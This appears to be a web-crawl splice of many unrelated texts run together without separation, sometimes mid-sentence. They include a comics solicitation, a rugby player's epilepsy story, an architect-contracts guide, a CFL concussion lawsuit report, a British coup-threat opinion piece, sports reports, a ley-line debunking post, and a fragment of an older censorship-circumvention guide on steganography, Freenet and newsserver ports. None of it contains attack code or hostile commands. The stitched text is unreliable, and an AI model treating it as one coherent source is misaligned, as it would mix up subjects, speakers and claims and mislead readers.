• An All-New Line Of Comics Aimed At Readers Of All Ages Who Like Action, Live For Danger…And Love Heroes!!
• The Marvel Tv Animated Smash Is Coming To Comics! Written by Chris Yost, Head Writer On The Hit Series!
• This First Issue Features Two Huge Tales That Catch You Up On All The Action As Agent Coulson Takes You Through The Drama Leading Up To The Launch Of Season Two This Spring On Disney Xd.
• Don’t Tell Your Parents Because When Earth’s Deadliest Villains Meet Earth’s Mightiest Heroes… No One’s Goin’ To Bed Early!
32 Pgs./All Ages …$2.99
Ultimate Spider-Man Adventures #1
Man Of Action, Dan Slott & Ty Templeton (W)
Nuno Plati (A)
• 2012’S Most Anticipated Tv Show Is Now The Comic Book You Can’t Miss Out On!
• by Day, He’s Peter Parker, Mild-Mannered High School Student. But by Night, He’s The Ultimate In Super Heroics – Spider-Man! And He’s Just The Beginning Of A |
for the second half, highly respected club doctor Stephen McNamara, who has been at the Eels for 22 years, calmly administered Terepo’s medication intravenously.
media_camera Peni Terepo scores for the Eels.
It would be near on 40 minutes from when Terepo ran for his kit bag until he returned to a relatively clear state of consciousness.
Terepo, who despite feeling as though he’d just run a marathon due to the energy he’d spentduring the seizure, emerged unscathed — albeit complaining about letting his teammates down.
“I was pissed off. I felt like I needed to be out there,’’ he said.
Terepo was diagnosed with epilepsy — the world’s most common serious brain disorder — at age 13.
He is the first professional rugby league player to come forward about his condition, suffered by about 800,000 Australians, since league Immortal and Queensland legend Wally Lewis admitted in 2009 he’d kept his battle with epilepsy secret for 20 years.
media_camera Wally Lewis gives Allan Langer a kiss on his head.
media_camera Wally Lewis’ brain scan.
He is now a major advocate for epilepsy awareness.
“Outside the family there were four or five people that knew about my situation,’’ Lewis said.
“It’s something that I tried to deal with as little people knowing as possible, which to Peni’s credit, isn’t what he’s doing.’’
Born in New Zealand, Terepo’s first seizure occurred when he was at High School.
“It happened after PE, I was sitting down in the change rooms and it looked like there was a fly flying around,’’ Terepo said.
“I swear it was a fly.
“And this fly just kept getting closer and closer, closer and closer to my face and so I started to wave it away, with my hand. And then all of a sudden it took over me and I blacked out.
“I woke up in hospital and I was diagnosed with epilepsy and it was something that I’ve had to live with ever since.’’
Terepo says “there isn’t enough numbers” to count how many seizures he’s experienced over the past decade.
media_camera Parramatta NRL player Peni Terepo pictured with son Wesley.
But he says, the three-year gap between his last two, proves that he’s winning the battle.
One of the major triggers for seizures among people diagnosed with epilepsy is fatigue.
Or in Terepo’s case most recently, failing to take the required medication.
When he was first diagnosed as a teenager, Terepo’s parents were initially worried that given the demands of training to become an elite footballer, their son’s dream of playing in the NRL may never eventuate.
However, Terepo was buoyed by the advice of doctors who prescribed him to a program of daily medication, a strict diet and a target of at least eight hours sleep each day.
“But if I was doing every wrong thing, I wouldn’t have kept playing and I wouldn’t have made it here,’’ Terepo said.
“If I didn’t stay on my medication, if I didn’t eat well, if I didn’t sleep well, I would’ve had to go into major surgery.’’
media_camera Parramatta NRL player Peni Terepo with son Wesley.
This is why Terepo wants to tell his story.
He wants to explain why, the very next day after his seizure in May, he walked into Parramatta Stadium and handed over the car keys.
By law, he is not able to drive a car for six months after a seizure.
And while it’s an inconvenience, it’s another reminder for Terepo that he can’t afford to overlook taking his medication.
The loving father of two-year-old son Wesley also wants to break down the social stigma associated with epilepsy, which ultimately led to Lewis keeping his own battle hidden.
media_camera Peni Terepo attempts to ground the ball.
The embarrassment, Terepo says, which is felt by many sufferers, underlines the statistics of a recent epilepsy Foundation survey, which indicated a marked increase in anxiety and depression among sufferers.
But above all else, he wants to prove that life can go on and that dreams of becoming an NRL player can be achieved, even if you’ve been diagnosed with epilepsy.
“I’m proud of myself, to be who I am with this health issue,’’ Terepo said.
“I think its important for young kids as well just to see someone who has made it, who does have this problem.
media_camera Parramatta NRL player Peni Terepo.
“They don’t have to sit at home and worry about not playing because of this illness. It doesn’t have to be rugby league, it can be anything active.”
“It’s important for parents as well because personally I feel parents are worried that their kids won’t be able to do what other kids are doing.
“My parents were worried that this could’ve stopped me from playing.
“The only player I knew of who had Epilespy was Wally Lewis.
“When I heard about his story, it inspired me. What he has become and what he’s achieved made me realise the sky’s the limit, nothing can stop anyone who has got epilepsy.’’
* For more information on epilepsy go to www.epilepsy.org.auObjective The main objective of this post is to Keep you updated with the latest optimization Techniques for Games developed in Unity.
Your game lags?
Players unhappy?
don't know what to do?
Well the answer is, your game needs "OPTIMIZATION!"
"Optimization is every important part while developing any game, As exciting and challenging as this may be, it makes it difficult for developers to get the information they need."
I found it almost impossible to get hold of information about techniques and algorithms that real developers used in their Optimized games. There is usually an atmosphere of secrecy about the coding techniques in top studios.
We realized that the time spent on optimizing a game is quite high, and decided that it is high time to share to the world of game developers, what we know about this important process.
So we have taken up an initiative and share valuable tips every day, and keep the community updated. we would also be very happy to welcome your ideas and techniques for the same.
Let us create an open community, and together move forward towards developing high quality AAA titles. :DThe Most Important Document That You’ll Never Ever Use… Hopefully
One of the most important steps in the architectural process is one that, once completed, will hopefully never be seen again.
A properly prepared legal agreement between owner and architect will clearly communicate a project’s terms and conditions, determine responsibilities of each party and set expectations for schedule and payment for services. The most successful architectural projects are those where open lines of communication are established, and trust and respect are mutually granted.
In order to best communicate the legal framework from which a project will be developed, professionals use written agreements. It’s the first step toward a successful project.
First Comes the Proposal
Following an initial meeting to discuss the basics of the project, your architect will follow up with a Letter of Proposal.
A formal document most often prepared in the form of a letter, the proposal identifies each party, the specific location of the property involved, a brief description of the project, a basic scope of services to be performed by the architect and a proposed compensation structure.
A letter of proposal is not an agreement (nor a proposed design). It’s simply a letter from architect to owner communicating a basic understanding and a proposed framework from which to complete the architectural services. If the owner chooses to proceed with the services presented, the proposal also includes a call-to-action for what’s next in the process.
When an owner chooses to proceed with the services of an architect, the details of the proposal must be more clearly defined. A legal agreement between owner and architect must be crafted.
There are five common options from which to choose:
The Handshake
For those “old school” service providers (I mean so old that they no longer provide services), a handshake is the absolute simplest agreement. It is a verbal understanding of the project, the scope of services and a basic payment structure to be used. There are no written documents and therefore, no legal contract between owner and architect. Handshake agreements have no legal protection for either party and therefore, should be avoided at all costs.
Letter of Intent
Prepared by the architect and forwarded to the owner, a letter of intent includes much of the same information presented in the letter of proposal. It more thoroughly defines the services proposed and includes additional basic terms and conditions. The letter of intent is signed by the architect, but requires no signature or written confirmation from the owner. Essentially a written “handshake”, a letter of intent offers minimal legal protection.
Often letters of intent are followed up with more formal legal agreements.
Letter of Agreement
More developed than the letter of intent, a letter of agreement is a one or two page document outlining the project description, the basic terms and conditions of the agreement, defined responsibilities for each party and a basic compensation structure. The letter of agreement is prepared by the architect and signed by both parties. This document is rather undeveloped though, so it still offers limited protection when compared to the two final documents described below.
Architect-Prepared Contract
Contracts prepared in-house by the architect, and often reviewed by an attorney prior to execution, can be significantly more beneficial to the relationship between owner and architect. If properly prepared, these documents often work best. They have evolved over time and address the specific issues most often experienced by the architect for the services most commonly provided.
A fully developed legal contract, this document includes more thoroughly developed terms and conditions and provides adequate legal protection for both parties. Since the document is constructed in-house, its fully customizable, easily revised and may be designed to have a “client friendly” appearance. When a legal document is designed with less visual formality, it appears less intimidating. This results in quicker turn-around for execution and expedites commencement of the project.
Simply stated… you get to the fun stuff faster.
AIA Contract Documents
Since 1888, the American Institute of Architects has been offering legal documents to the architectural profession. In 1911, they released their first set of Standard Documents of the AIA. The current 2007 edition is the Institute’s 16th update, offering over 100 different documents for architectural and construction services. AIA Contract Documents have become the industry standard, with non-biased language, complete terms and conditions and documents for use on projects of any size.
The very formal legal format of the documents may be intimidating to some residential and small commercial clients, often resulting in additional review by the owner’s attorney. Special software is required to prepare and edit the documents, which makes AIA Contract Documents a more expensive solution. The legal protection provided to both parties makes AIA Contract Documents the preferred choice for larger and more complicated architectural projects.
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You’ve been dreaming about your architectural project for years. You’ve saved your money to do it right and it’s finally time to get started. Find an architect that has experience with the type of work you are considering and the skills to provide you with the services your important project deserves.
Communication is the key to your project’s success and a written legal agreement is the best way to ensure that communication. If all goes well (and if you choose your architect wisely, it will), the results of your up-front effort to choose the proper agreement will be filed away… and never seen again.
I’d like to thank my good friend and colleague Mark R. LePage, AIA for sitting in today and helping to break architectural contracts down into such easy to understand language. When he’s not helping out his friends, Mark is the Partner in Charge of Operations at Fivecat Studio Architecture and the founder of Entrepreneur Architect, an online resource inspiring architects to build better businesses. Mark writes a weekly blog, hosts a monthly podcast and has recently introduced Entrepreneur Architect Academy; an online business school for architects planned for launch in June 2013.
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The imagine used has been used under the creative commons license and can be found HERE.Tator was one of nine co-authors listed on the highly-technical scientific paper. Eight of the nine were associated with various departments of the University of Toronto, including the Krembil Neuroscience Centre.
Also named as one of the co-authors was Leo Ezerins, executive director of the CFL Alumni Association and a former Tiger-Cat.
The Arland Bruce lawsuit alleges the CFL and the CFL Alumni Association provided funding to the Canadian Sports Concussion Project and researchers at the Krembil centre.
The lawsuit also alleges this put Ezerins in a conflict of interest because he was the head of the CFL Alumni Association and a member of the Canadian Sports Concussion Project at the same time.
Ezerins, Tator and the Krembil Neuroscience Centre were originally named as defendants in the Bruce lawsuit, but they were recently released.
What's most curious about the scientific paper is its title.
Although it states clearly "Absence of" chronic traumatic encephalopathy (CTE) in former players, the paper reports that in fact, evidence of CTE was found in three of the six brains.
The other three brains showed evidence of Parkinson's disease, Alzheimer's disease and Amyotrophic Lateral Sclerosis — in other words, all six brains showed evidence of neurodegenerative disease.
The paper includes a frightening chart of symptoms for each player compiled from medical records and interviews with family members.
All six of the players had short-term memory problems. All six had some type of speech or language problems. All six had suffered multiple concussions.
Five of the six showed signs of progressive dementia, four of the six suffered from delusions, and three of the six experienced hallucinations.
"I couldn't believe what I was reading," said Robyn Wishart, a Vancouver-based lawyer who is representing the plaintiffs in both lawsuits against the CFL.
"When is absence ever 50 per cent?
"I don't know how that ever got published," Wishart added.
Tator declined to comment on the lawsuit's allegations because the matter is still before the court. Tator also declined to comment on the "Absence of CTE" scientific article cited in the lawsuit.
The Bruce lawsuit alleges the article's authors concluded that there was no provable connection between concussion and sub-concussive injuries and CTE in CFL players, which is "against the weight of the medical evidence."
The authors "knew or ought to have known" the link between CTE and concussive head trauma was "statistically more significant than the link between smoking and lung cancer," according to allegations in the Bruce lawsuit.
The suit also alleges Ezerins interfered with an independent project involving cognitive testing of 25 former Ticats in 2011 and that he "ultimately stopped the researchers" at McMaster University from interpreting the test results.
(That project has no connection to the current Spectator concussion research.)
At the time, Ezerins told the Spectator, "We're really protecting the sport and protecting the CFL. It's a very important issue and we want to make sure it doesn't reflect poorly on the game of football, that we have the proper perspective."
The lawsuit also alleges Ezerins stated the "stories of concussion and its long-term effects do not represent the majority of former football players."
Ezerins' conduct in interfering with the Tiger-Cat study was "reprehensible," the lawsuit alleges.
The statements of claim for both lawsuits also allege that former CFL commissioner Mark Cohon claimed in 2011 that "unreported concussions were far less of a problem in the CFL."
A Harvard University study released in May raises questions about how the league would know if that's true.
The Harvard analysis compared the health-related policies and practices of North America's professional sports leagues, including the CFL.
The 258-page report notes that the concussion rate in the CFL is actually slightly higher than the NFL's rate. In fact, the CFL's rate of concussions per game was the highest of the leagues studied.
In a further irony, the report notes that the CFL's concussion rate had to be estimated from other sources because "research has not revealed any injury-tracking system in use by the CFL."
The CFL did not accept an invitation to review the Harvard analysis prior to its publication and did not provide any comments to the researchers.
[email protected]
905-526-3226Small, powerful, beautiful (choose any three)
We love music. We love Plex. We thought we might combine those passions.
It all started over a beer — as most great things do — re-envisioning what a tiny and powerful music player might look like in 2017. The most classic and beloved small audio player, Winamp, was first released almost exactly TWENTY years ago. Written in a low-level language, it ran on Windows, and was limited to playing files on the local (or networked) filesystem.
It truly whipped the llama’s ass
Plex, on the other hand, provides a best-in-class client/server model, an extremely metadata rich library, is highly portable, and gives you access to your entire music collection from anywhere in the world; we wanted to pair this with a similarly excellent music player. Literally the only requirement we had was “small”; Plex has plenty of bigger apps already, but nothing that sits unobtrusively on a desktop, beguiling and delighting. We even forced ourselves to limit the design to a single simple window.
We quickly settled on Electron as a platform to build the app. The combination of ES7, Electron, React, and MobX quickly became an incredibly productive (and fun!) set of technologies to use. As for the actual audio player, we wanted to do things which weren’t easy or even possible with Web Audio, so we picked a feature rich, portable, open source audio player called Music Player Daemon (MPD).
It’s either amazing or crazy (probably a bit of both) that the app comprises multiple Electron processes, a player server process (for being remotely controlled), and the MPD player process, while managing to present a semblance of a whole. And ignoring the fact that it’s probably the smallest Plex player (by pixel size), it still has rich functionality!ADVERTISING Read more
Paris (AFP)
France's highest court ruled Friday that a researcher could be denied access to sensitive archives concerning the 1994 genocide in Rwanda even though they were ostensibly opened to the public in 2015.
Researcher and author Francois Graner, who has written several works on the genocide, cannot see the files because of a law protecting presidential archives for 25 years following the death of a head of state, the constitutional council ruled.
Kigali's minority Tutsi-led government has accused France, under then president Francois Mitterrand, of supporting the Hutu regime that carried out the bulk of the killings, in which around 800,000 mostly Tutsi people died.
The constitutional council said its ruling applied to the archives of former presidents, prime ministers and ministers.
As Mitterrand died in 1996, his archives should become available in 2021.
The court said its ruling was "justified in the general interest" and that it did not undermine freedom of expression, rejecting Graner's argument that the 25-year rule flouted several constitutional rights.
The French presidency under Francois Hollande announced the declassification of archives on Rwanda for the period 1990-95 on April 7, 2015.
At the time it was considered a strong gesture, coming on the 21st anniversary of the start of the genocide in the former Belgian colony.
The president's office, saying the move was motivated by a "wish for truth", opened the files to researchers, victims' associations and civil society groups.
But when Graner tried to consult Mitterrand's archives from the time of the genocide he was refused.
"It's obviously a disappointment," Graner said of Friday's ruling. "The motivations of this decision are political."
Graner plans to take his case to the European Court of Human Rights, "which isn't encumbered by such political considerations", he said.
He said the ruling gave the government the right to "opacity" towards its citizens.
The researcher belongs to the human rights association Survie ("Survival"), which has vowed to "shed light on France's involvement in Rwanda before and during the genocide."
Survie co-president Fabrice Tarrit slammed Friday's ruling.
"This unfair decision is a good illustration of the countless political obstacles you face when you try to shed light on the involvement of the French authorities alongside the Rwandan mass killers in 1994," Tarrit said in a statement.
He said the ruling was designed to "protect a crime of state".
Ahead of the genocide's 20th anniversary in 2014, Rwandan President Paul Kagame accused Paris of playing a "direct role" in the assassination of then president Juvenal Habyarimana, which sparked the bloodbath.
The Tutsi leader said France took part in Habyarimana's "execution".
In November 2016, Kigali launched an inquiry into the role of 20 French officials in the genocide.
© 2017 AFPThere has been some debate about the significance of a warning issued this weekend through Rupert Murdoch’s Sunday Times by a British general that the army would “mutiny” and use “whatever means possible, fair or foul” should the new Labour leader Jeremy Corbyn ever get near 10 Downing Street.
Here is what the general says:
Owen Jones has wondered whether this is tantamount to a threat of a coup by the military. I think it would be foolhardy indeed to read it as anything else.
None of us should be surprised either. We have been here before. In the late 1960s and early 1970s serving British generals, former generals, members of the royal family and the British security services regularly spoke in such terms to each other – and even occasionally on prime-time television.
More than that, when they believed their privileges were under serious threat, as they did during Harold Wilson’s various governments of that period, they actively plotted for “regime change”, or a military takeover.
In what became a self-serving vicious spiral, the establishment’s fears were further stoked by the stream of black propaganda being fed to the British media by MI5, Britain’s version of the FBI. It painted Wilson’s government and the trade union movement as overrun with Communists trying to bring down the UK. One can imagine a Corbyn government will receive no better treatment from the UK media than Wilson’s did.
Like Corbyn today, Wilson was seen in the 60s and 70s as a major threat to the entrenched privileges of British elites.
There is a wealth of evidence for all this, though perhaps unsurprisingly many sources, including Wikipedia, casually dismiss these accounts as “conspiracy theories” – the ultimate way to shut down scrutiny.
But the evidence was so compelling even the BBC, hardly a risk-taking broadcaster at the best of times, girded its loins back in 2006 to make a documentary called “The Plot Against Harold Wilson”. In fact, as the 90-minute film makes clear by interviewing many of those directly involved, there was not one plot but many against Wilson. You can watch it below.
It probably all seemed like old, slightly quaint history to the BBC nine years ago. Now it sounds frighteningly relevant again.
Here is a fascinating line from one plotter, Sir General Walter Walker, at about 1hr 2 mins in. Speaking in the early 1970s, he says on film:
If you plot to destroy this present system, what are you doing? You are committing a form of treason. I have taken an oath of allegiance to my Queen and I am not prepared to see that oath interfered with.
For me at least, that puts the ludicrous current confected debate about Corbyn refusing to sing the national anthem in an even more sinister light.
Lord Mountbatten, the Queen’s cousin, a mentor to Prince Charles, and the chief of the defence staff at the time, became a figurehead for this group (45.30) and even approached the Queen Mother to seek her blessing for a military takeover. Walker says Mountbatten told him: “If you want help from me, will you let me know?”
David Stirling, the founder of Britain’s most elite military unit, the SAS, also confirmed to journalists that a coup against Wilson was seriously being considered (1.03). He contemplated bumping off trade union leaders to foment so much anger among workers that the military would be forced to move in to restore order.
Soon, the army, members of the royal family and the intelligence services were all considering how they might launch a military coup to stop a Communist takeover (the one that had been created in MI5’s lurid imagination). Brian Crozier, a former intelligence officer who supported a coup, says there was a “widespread attitude” in favour of it among the military (1.05)
It culminated in a show of force by the armed forces, which briefly took over Heathrow airport (1.06) without warning or coordination with Wilson’s government. Marcia Williams, Wilson’s secretary, called it a “dress rehearsal”. Wilson resigned unexpectedly soon afterwards, apparently as the pressures started to get to him.
As the BBC concludes:
The actions of Lord Mountbatten and senior military and intelligence officers undermined democracy and brought this country to the brink of a coup. Yet no one has been held accountable, there has been no proper inquiry.
Such an inquiry might have served at least as a small deterrent for those, like the general who approached the Sunday Times, who are thinking once again in terms of a coup.ANAHEIM, Calif. -- Texas manager Ron Washington gave Nelson Cruz the green light on 3-0, then watched the slugger put reliever Bobby Cassevah's sinker into orbit.
Cruz's tape-measure drive in the seventh inning helped Matt Harrison win his third straight start as the Rangers beat the Los Angeles Angels 7-3 on Sunday to avoid a three-game sweep.
"It's fun to see how far it goes, but the main thing the situation it came in," Cruz said. "I didn't watch where it landed, but I watched it go far enough."
Using a 34-ounce Louisville Slugger model No. R-13 that measures 35 inches, Cruz reached the championship flag poles in left-center. The ball was estimated to have traveled 484 feet, making it the longest home run in the majors this season, according to the Angels based on information from ESPN Home Run Tracker.
But teammate Josh Hamilton was quite skeptical.
"That's not right. When we come back here, we're going to bring a range-finder and we're going to get an accurate measurement on that ball," said Hamilton, the major leagues' home run leader. "That was the farthest ball I've ever seen hit. When you think about it, unless the wall is lying -- it says 387 to the wall, and 100 feet past that is 487. But the ball went another 100 feet past that. So I can't wait to come back here."
Cassevah took it all in stride.
"Butch came out before that pitch, so we knew he was swinging," the right-hander said, referring to pitching coach Mike Butcher. "I was trying to throw a strike. But the sinker didn't sink, it was right over the middle, and he got all of it. But a home run's a home run to me, no matter how far they go. The hitter wants to see how far it goes. I don't. I just go on to the next guy."
Cruz said Washington also turned him loose on a 3-0 count his previous time up. He took the pitch out of the strike zone before a flyout to left field.
"He's capable with one swing of the bat of doing exactly what he did in the seventh inning, and he was in a good position," Washington said. "I told the team last night that I wanted us to get back to being aggressive, so I had to be aggressive, too. I just gave him the 3-0 hack and he did a good job with it."
The victory ended a four-game skid by the two-time defending AL champions, who lead the Angels by 4½ games in the West. The clubs play 13 more times during the regular season.
"Two out of three is not bad against a good team like Texas because they're the champs, so you've got to be happy with it," Angels outfielder Torii Hunter said. "We know them, they know us, and it's going to be a battle all year long. Right now we're getting by. We're playing a lot better baseball than we did the first six weeks, but we're a lot better than what we've shown."
Harrison (7-3) gave up three runs, four hits and three walks in 6 2/3 innings. The left-hander, who started Game 7 of last year's World Series for the Rangers, departed after giving up a two-out single to Peter Bourjos and a walk to John Hester, who had homered his previous time up.
"The thing I was really upset about was the walks and the pitch to Hester," Harrison said. "Other than that, I thought I threw the ball well, but I'm not satisfied. I want to keep getting better, keep grinding and keep learning from the mistakes I make in games. I just want to keep on this roll, get deep into games and give us a chance to win."
Mike Trout greeted Alexi Ogando with an RBI single and Alberto Callaspo walked, loading the bases for Albert Pujols, who cracked his bat on an inning-ending flyout to left field. The Rangers put it away with RBI singles in the ninth by Mike Napoli and Elvis Andrus.
Dan Haren (3-6) threw 104 pitches over five innings, allowing two runs and seven hits. The two-time All-Star, who is winless in his last five starts against Texas, ended a career-best streak of 25 strikeouts without a walk when Napoli drew a base on balls in the fourth. The franchise record for most strikeouts without a walk is 30, by Frank Tanana in May 1976.
"He's a really good pitcher, so one thing you have to do with guys like that is lock in on the strike zone," Texas designated hitter Michael Young said. "We tried to be as aggressive in the strike zone as we could be and not do him any favors outside the zone. And I think we did a fairly good job of that."
Hester's first home run with the Angels was a solo shot to left-center that trimmed Texas' lead to 3-2 in the sixth, and was the first given up by Harrison in his last four starts.
The Angels, who had won 10 of their previous 11, got on the board in the fifth after Mark Trumbo drew a leadoff walk and came all the way around on a two-out double to left by Erick Aybar -- Los Angeles' first hit off Harrison. Aybar was 1 for 14 against him prior to that at-bat.
Game notes The Angels' game on Monday night against Seattle at the "Big A" will be Mike Scioscia's 2,000th as a major league manager during the regular season -- all with Los Angeles. The only coach who has been on Scioscia's staff the entire time is 1B coach Alfredo Griffin.... This was the eighth time this season that the Angels had Trout, Bourjos and Trumbo all starting in the same outfield.Getty Images
The Cowboys still have a rather expensive veteran backup quarterback on the books, but they’re looking at another one.
According to Adam Schefter of ESPN, former Browns (and a lot of other teams) quarterback Josh McCown is visiting the Cowboys today.
Unlike unrestricted free agents who can’t travel (or even make plans to, wink, wink), McCown is free now since the Browns cut him.
The 37-year-old McCown is a trusted backup, who started 11 games for the Browns the last two years. He has also played for the Cardinals, Lions, Raiders, Panthers, Bears and Buccaneers.
He’d provide a steady hand behind starter Dak Prescott, and has long been comfortable in the role of mentor. He’s also an upgrade on the field over last year’s backup, Mark Sanchez.
The Cowboys are going to need such a player once they part ways with Tony Romo, whenever they do that.Are you familiar with the concept of a ley lines? Well, these are apparently special magical lines that run between ancient archaeological sites or monuments. If like me, you grew up devouring all the mystical books doing the rounds such as “Chariot of the Gods” by Erich Von Daniken, or “The Third Eye” by Lobsang T Rampa, then you will have no doubt come across these at some point, in fact, I’d be astonished if you had not heard of them, the concept has more or less embedded itself as a cultural meme these days.
So where did all this originally come from?
It was all started by a self-taught archaeologist, Alfred Watkins who in 1921 made the observation that ancient monuments appear to all line up and so he suggested that perhaps these had been setup like this in neolithic times as line-of-sight navigational markers. OK, that sounds a reasonable hypothesis, but of course the concept has been taken up and inflated into a far more groundless new-age belief.
As for the name “Ley” line, well apparently that was coined by Watkins when he observed that many of these lines passed through places that had names with “ley” in them. The word ley is a variant of lea, meaning grassland, clearing, or pasture, and as you might guess, towns and villages with that as part of the name are rather common in the UK.
The professionals dismissed his hypothesis at the time (and still do), for the following reasons
In the UK there is a very high number of ancient sites, so the chances of finding straight lines that occur by chance is quite high
Watkins used maps to identify his ancient markers, and so he did not go out and see if they could indeed have been utilized as navigational markers while trekking
Just using a map for such analysis does indeed have many problems. Its inaccurate due to problems of scale, a 1/4 mm line on a 1-inch to 1-mile map would in reality be a 50 foot wide path. As for the diversity of markers, well a fun illustration of that problem was the use of phone boxes, by archaeologist Richard Atkinson, to create a map of “telephone box leys”. In other words, the mere existence of such lines in a set of points is not evidence, given enough points you can create your own “meaningful” magical lines from almost anything.
Now lets be clear, it is not Wakins who introduced all the modern hocus-pocus, that all came later. Wakins simply made an observation and formed a natural hypothesis to explain it. Others then looked at the evidence and did not find it compelling. If so, and it was not found to be viable, then why is the idea still abound, and where did all the mystical additions that we appear to have with us today come from?
Well, the next step was taken by the author, John Michell, who not only revived Watkins Ley lines, but he also blended them in with some feng shui in a 1969 book called “The View Over Atlantis” (Yes indeed, the very existence of “Atlantis” in the title here is a red flag). It was a popular book, and so it succeeded in starting the ley line concept as we now know it. Throughout the 70’s other similar writers quickly embraced this basic idea, and refined it with suggestions that mixed in dowsing, new age beliefs, and also the idea that these ley lines were conductors for “spiritual” power.
Can anybody define with “Spiritual” power is? In fact, should there be a Spiritual Power company that needs to take responsibility for regulating the flow, should we also have spiritual power meters in our homes, and if so, who will bill us? – Yes OK, my point is that its a meaningless term, it does not describe anything that can be actually measured (but sounds impressive, and so helps to sell lots of books)
And so it was not really Watkins in 1921, but Michell who kick-started all these “Earth Mysteries” in 69.
Now for a bit of fun. The Mathematician, Matt Parker, wrote a nice take down of all this in the Guardian a few days ago that is entitled … “Did aliens establish a primitive postcode system in ancient Britain?“, so what is his article all about? Well how about this astonishing fact.
The house I live in is at the convergence of three ley lines between ancient monuments, and that includes one coming directly from Stonehenge, (Oh, I can feel the magic power flowing through my fingers right now. I’m truly special.
Don’t panic, I’ve not suddenly turned a pale shade of woo, in fact, the key Point is that there are enough ancient sites in the UK to enable you to place every single postcode at the convergence of three or more ley lines between ancient monuments, so I’m not the only special one, everybody is equally special. Dam, the secret is out now, those ancient aliens are obviously still with us, you and I know them as … “The Post Office”.
To illustrate all this, there is a website created by a smart chap called Tom Scott, and as a piece of satire that mocks all this, I love it. No matter where you are in the UK, you can key in your postcode and it will quickly tell you about the 3 or more ley lines the converge at that point, thus proving you are currently at a hub of “spiritual” power (no need to trek to Stonehenge)
You can find Tom’s website here.
So there you have it them, every single inch of the UK is a special magical place where ley lines just happen to converge. If you are you still a believer, then pause and remember, this was all the fallout from a desire to craft a popular book, is not in any way related to reality or measuring anything real. Pluck out enough points from a map, and you quickly find that easiest person to fool is perhaps yourself, for the true wonder here is that sitting between your ears is an amazingly powerful pattern recognition engine that will often throw up false positives, and yield meaning and patterns where none exist.
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Like this: Like Loading...SCOTLAND’S two largest airports have experienced a bumper start to the year, with Edinburgh and Glasgow both reporting record passenger numbers for February.
A total of 770,265 people passed through the capital’s airport last month, making it a record February following a rise of 17.2 per cent on the previous year’s figure.
In terms of international passenger numbers, this represents a 30.4 per cent increase from February last year.
Glasgow Airport saw a 14.1 per cent increase, which took the number to 582,879 passengers for the month.
This follows positive figures for the airports for January as both reported annual increases in passenger numbers |
cool/stats.htm
ftp://rtfm.mit.edu/pub/usenet/news.answers/internet-services/access-via-email
Hide content inside of images.
More Info: http://en.wikipedia.org/wiki/Steganography
4.7.1 Camera/Shy Camera/Shy is the only steganographic tool that automatically scans for and delivers decrypted content straight from the Web. It is a stand-alone, Internet Explorer-based browser that leaves no trace on the user's system and has enhanced security. Camera/Shy is an application that enables stealth communications, such software can be useful in countries where Email communications are regularly monitored and censored, such as happens in China. More info: http://hacktivismo.com/news/modules.php?name=Content&pa=showpage&pid=12/
http://sourceforge.net/projects/camerashy/
There are different projects of peer-2-peer programs to bypass censorship. They work like Napster, Kazaa and eDonkey, which means that you have to download a little tool that contains a server and a client part.
4.8.1 Peek a Booty The goal of the Peekabooty Project is to create a product that can bypass the nationwide censorship of the World Wide Web practiced by many countries. Peekabooty uses a complicated communications system to allow users to share information while revealing little about their identity. When a node receives a request for a web page it randomly decides whether to pass this on or access the page itself. It also only knows the address of its nearest partner. This makes it difficult to determine who requested what information and is designed to protect users from anyone trying to infiltrate the system from inside.
More info: http://www.peek-a-booty.org/
Freenet is the oldest and most widely spread P2P-program to beat censorship, so a lot of people use it and it has actually worked well for several years. There is no access to the Internet possible through the Freenet client. You can only view/download stuff from the 'free net'. You install the client as a local proxy which is listening on port 8888 and can access links like 'http://localhost:8888/SSK@fjfkHAbxdwMyTMFgtZjcP2ge-AYPAgM/sites/fwhh/index.html' It looks like a kind of normal URL. The 'localhost:8888' addresses the proxy server on port 8888 that is running on your local machine. The rest of the URL is something like an encrypted file name. It is not possible to determine who put some information into the network or who is downloading it.
More info: http://freenetproject.org/
http://www.freenet-china.org/
http://en.wikipedia.org/wiki/Freenet
More info: http://www.mojonation.net/
4.8.4 TriangleBoy Safeweb, a company that received funding from In-Q-Tel, the CIS's centure fund, released software called "Triangle Boy". The software is a peer-to-peer application that volunteers download onto their PC's. A User that has been denied access to any website by a censor can use the Triangle Boy software to circumvent the censorship. Currently the Triangle Boy software only provides access to the Voice of America, because this service is blocked by the Chinese government.
More info: http://www.safeweb.com/tboy_service.html
More info: http://www.hacktivismo.com/
More info: http://entropy.stop1984.com/
Other services than the www.
The normal port for newsservers 119 is usually blocked, so you have to access the Usenet via a different port. If you sometimes only want to read some very common newsgroups you can easily visit them via free web-based newsservers like http://groups.google.com/, http://news.spaceports.com/, http://wnews.easyusenet.com/wnews-free.cgi and http://www.news2web.com/. A lot of newsserver companies offer their services on a non standard port. Just ask them before signup. If you need access to a newsserver with your newsclient you have to subscribe to one of these newsserver-companies which allow access to their newsservers on an uncommon port:
http://www.giganews.com/ (news.giganews.com on ports 23 and 80)
http://www.teranews.com/ - (news.teranews.com on ports 23, 25 and 7501)
http://www.easynews.com/ - (proxy.news.easynews.com on 22, 23, 53, 80, 110 and 443, or try their web-based service at members.easynews.com port 81)
http://www.newscene.com/ - (proxy.newscene.com on ports 20, 21, 22, 23, 25, 53, 80, 81, 110, 443 and 8080)
https://www.newsdemon.com/ - (news.newsdemon.com on ports 23, 25, 80, 7000, 8000 and 9000. europe.newsdemon.com and useast.newsdemon.com on ports 443 and 8080. SSL connections at us-secure.newsdemon.com and europe-ssl.newsdemon.com on ports 563, 80 and 81)
http://www.supernews.com/ - (news.supernews.com on any port you like)
http://www.octanews.com/ - (news.octanews.com on any port you like)
http://www.readfreenews.com/ - (news.readfreenews.net and allnews.readfreenews.net at port 80 and 120
Note: Unless SSL is used, all traffic is unencrypted, so you can access these newsservers, but the censors can easily monitor all your traffic! It would be more secure to use a SSH port forwarding.
More info: http://en.wikipedia.org/wiki/Usenet
4.9.4 Instant Messenger Instant Messengers are very popular. You have to register your nickname at one of the companies and download their software. Then when you are on the Internet you can start the software and log onto their servers. You are then marked as "online" and all your friends who know your nickname and have the same Instant Messenger client can see that you are online and easily chat with you. Everyone of the 4 big IM players has its own software client which contain advertisement, spyware and none is compatible with the other IM protocols. I recommend you to download Miranda, which is a open source Instant Messenger which is very small, without ads or spyware and working without installation. It works great with every IM protocol, even at the same time. http://miranda-im.org/ More info: http://en.wikipedia.org/wiki/Instant_messenger
http://www.infoanarchy.org/wiki/wiki.pl?Instant_Messenger http://nscsysop.hypermart.net/no_chat.html
4.9.4.1 ICQ Users: 7 million
